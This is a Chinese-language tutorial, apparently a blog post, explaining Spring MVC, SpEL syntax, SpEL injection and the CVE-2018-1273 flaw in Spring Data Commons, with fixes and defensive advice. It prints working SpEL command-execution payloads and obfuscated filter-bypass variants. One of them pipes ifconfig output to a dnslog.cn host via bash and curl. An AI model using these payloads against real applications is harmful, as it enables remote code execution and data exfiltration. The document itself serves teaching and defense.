Spring MVC框架安全浅析
字数 2061 2025-08-25 22:59:10

Spring MVC框架安全分析与SpEL注入漏洞研究

1. Spring框架概述

Spring是目前Java应用最广泛的框架之一,是一个拥有IoC(控制反转)和AOP(面向切面编程)优秀机制的容器框架。Spring MVC是Spring提供给Web开发的框架设计。

1.1 Spring MVC实现逻辑

  • DispatcherServlet:统一处理、分发所有请求
  • HandlerMapping:定位处理请求的控制器(Controller)
  • Controller:处理用户请求后返回ModelAndView对象给DispatcherServlet

2. Spring MVC基础应用

2.1 控制器(Controller)示例

package t4rrega.spring;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping("/test")
public class TestController {
    @RequestMapping("/index")
    public String test(String input) {
        return "/WEB-INF/t4rrega/test.jsp";
    }
}
  • @RequestMapping:处理请求地址映射,可用于类或方法
  • 类级别路径为父路径,方法级别路径为子路径
  • 完整访问路径:父路径+方法路径 = /test/index

2.2 模型(Model)向视图(View)传值

@RequestMapping("/index")
public String test(Model model) {
    model.addAttribute("id", "t4rrega");
    return "/WEB-INF/t4rrega/test.jsp";
}

在JSP中使用${id}获取值

2.3 获取URL参数

@RequestMapping("/index")
public String test(String name, Model model) {
    model.addAttribute("name", name);
    return "/WEB-INF/t4rrega/test.jsp";
}

3. SpEL(Spring Expression Language)详解

3.1 SpEL基础语法

  • 定界符#{}(EL使用${}
  • 引用对象#{person}
  • 引用对象属性#{person.name}
  • 调用对象方法#{person.toString()}

3.2 T()运算符

调用作用域的方法和常量,例如:

  • T(java.lang.Runtime):返回java.lang.Runtime对象
  • T(java.lang.Math).PI:获取PI值

3.3 SpEL定义方式

3.3.1 XML配置

<bean id="Calc" class="org.spring.samples.Calc">
    <property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec('/system/Applications/Calculator.app/Contents/MacOS/Calculator')}"/>
</bean>

3.3.2 注解配置

public class EmailSender {
    @Value("${spring.mail.personname}")
    private String personname;
    
    @Value("#{systemProperties['person.region']}")
    private String Locale;
}

3.4 SpEL高级用法

3.4.1 Class Expression

  • new:实例化对象

    new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
    
  • T()

    T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
    

3.4.2 Bean引用

如果已配置上下文,可通过@从表中查找JavaBean

3.4.3 变量引用

  • #variableName:引用变量
  • #root:引用根对象
  • #this:引用上下文对象

3.4.4 用户自定义函数

通过StandardEvaluationContext#registerFunction()注册自定义方法

4. SpEL注入漏洞

Java在不指定EvaluationContext的情况下默认使用StandardEvaluationContext,它包含SpEL所有功能,未过滤输入可能导致任意命令执行。

4.1 常见Payload

  1. new对象

    new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
    
  2. 反射

    this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
    
  3. T()运算

    T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")
    

4.2 绕过技术

  1. String类动态生成字符

    T(java.lang.Runtime).getRuntime().exec(
        T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112))...
    )
    

    new java.lang.String(new byte[]{111,112,...})
    
  2. 反射异变

    #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
      .getMethod("ex"+"ec",T(String[]))
      .invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")
      .getMethod("getRu"+"ntime").invoke(T(String).getClass()
      .forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig"})}
    

5. Spring Data Commons RCE(CVE-2018-1273)

5.1 影响版本

Spring Data Commons <= 2.0.5.RELEASE

5.2 漏洞分析

漏洞位于MapDataBinder#setPropertyValue()方法:

  1. 通过isWritableProperty()校验propertyName参数是否为Controller设置的Form映射对象中的成员变量
  2. 调用parseExpression()设置需要解析的表达式
  3. 通过expression.setValue()完成表达式解析

绕过机制:

isWritableProperty()调用getPropertyPath()检测propertyName

  1. 使用正则过滤包含方括号在内的特殊字符
  2. 判断剩余值是否为type里的属性(type是Controller接收参数的类)

因此可以通过在类的某个字段加上[xxx]构造恶意SpEL表达式实现注入。

最终Payload:

#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a Calculator.app")

5.3 漏洞触发流程

  1. ProxyingHandlerMethodArgumentResolver实例化
  2. 调用bind方法,将request.getParameterMap()作为参数
  3. 实例化MapDataBinder对象

5.4 修复方案

StandardEvaluationContext替换为SimpleEvaluationContext

  • SimpleEvaluationContext权限更小
  • 不支持java.lang.Runtimejava.lang.ProcessBuilder等危险类

6. 防御建议

  1. 升级到安全版本
  2. 避免使用StandardEvaluationContext,改用SimpleEvaluationContext
  3. 对用户输入进行严格过滤和验证
  4. 最小化表达式解析权限
  5. 使用白名单机制限制可解析的类和函数

7. 总结

Spring框架的SpEL表达式功能强大但存在安全风险,开发者需要:

  1. 理解SpEL工作机制
  2. 认识表达式注入的危害
  3. 掌握安全配置方法
  4. 保持框架版本更新
  5. 实施纵深防御策略
Spring MVC框架安全分析与SpEL注入漏洞研究 1. Spring框架概述 Spring是目前Java应用最广泛的框架之一,是一个拥有IoC(控制反转)和AOP(面向切面编程)优秀机制的容器框架。Spring MVC是Spring提供给Web开发的框架设计。 1.1 Spring MVC实现逻辑 DispatcherServlet :统一处理、分发所有请求 HandlerMapping :定位处理请求的控制器(Controller) Controller :处理用户请求后返回ModelAndView对象给DispatcherServlet 2. Spring MVC基础应用 2.1 控制器(Controller)示例 @RequestMapping :处理请求地址映射,可用于类或方法 类级别路径为父路径,方法级别路径为子路径 完整访问路径:父路径+方法路径 = /test/index 2.2 模型(Model)向视图(View)传值 在JSP中使用 ${id} 获取值 2.3 获取URL参数 3. SpEL(Spring Expression Language)详解 3.1 SpEL基础语法 定界符 : #{} (EL使用 ${} ) 引用对象 : #{person} 引用对象属性 : #{person.name} 调用对象方法 : #{person.toString()} 3.2 T()运算符 调用作用域的方法和常量,例如: T(java.lang.Runtime) :返回java.lang.Runtime对象 T(java.lang.Math).PI :获取PI值 3.3 SpEL定义方式 3.3.1 XML配置 3.3.2 注解配置 3.4 SpEL高级用法 3.4.1 Class Expression new :实例化对象 T() : 3.4.2 Bean引用 如果已配置上下文,可通过 @ 从表中查找JavaBean 3.4.3 变量引用 #variableName :引用变量 #root :引用根对象 #this :引用上下文对象 3.4.4 用户自定义函数 通过 StandardEvaluationContext#registerFunction() 注册自定义方法 4. SpEL注入漏洞 Java在不指定EvaluationContext的情况下默认使用 StandardEvaluationContext ,它包含SpEL所有功能,未过滤输入可能导致任意命令执行。 4.1 常见Payload new对象 : 反射 : T()运算 : 4.2 绕过技术 String类动态生成字符 : 或 反射异变 : 5. Spring Data Commons RCE(CVE-2018-1273) 5.1 影响版本 Spring Data Commons <= 2.0.5.RELEASE 5.2 漏洞分析 漏洞位于 MapDataBinder#setPropertyValue() 方法: 通过 isWritableProperty() 校验 propertyName 参数是否为Controller设置的Form映射对象中的成员变量 调用 parseExpression() 设置需要解析的表达式 通过 expression.setValue() 完成表达式解析 绕过机制: isWritableProperty() 调用 getPropertyPath() 检测 propertyName : 使用正则过滤包含方括号在内的特殊字符 判断剩余值是否为type里的属性(type是Controller接收参数的类) 因此可以通过在类的某个字段加上 [xxx] 构造恶意SpEL表达式实现注入。 最终Payload: 5.3 漏洞触发流程 ProxyingHandlerMethodArgumentResolver 实例化 调用 bind 方法,将 request.getParameterMap() 作为参数 实例化 MapDataBinder 对象 5.4 修复方案 将 StandardEvaluationContext 替换为 SimpleEvaluationContext : SimpleEvaluationContext 权限更小 不支持 java.lang.Runtime 、 java.lang.ProcessBuilder 等危险类 6. 防御建议 升级到安全版本 避免使用 StandardEvaluationContext ,改用 SimpleEvaluationContext 对用户输入进行严格过滤和验证 最小化表达式解析权限 使用白名单机制限制可解析的类和函数 7. 总结 Spring框架的SpEL表达式功能强大但存在安全风险,开发者需要: 理解SpEL工作机制 认识表达式注入的危害 掌握安全配置方法 保持框架版本更新 实施纵深防御策略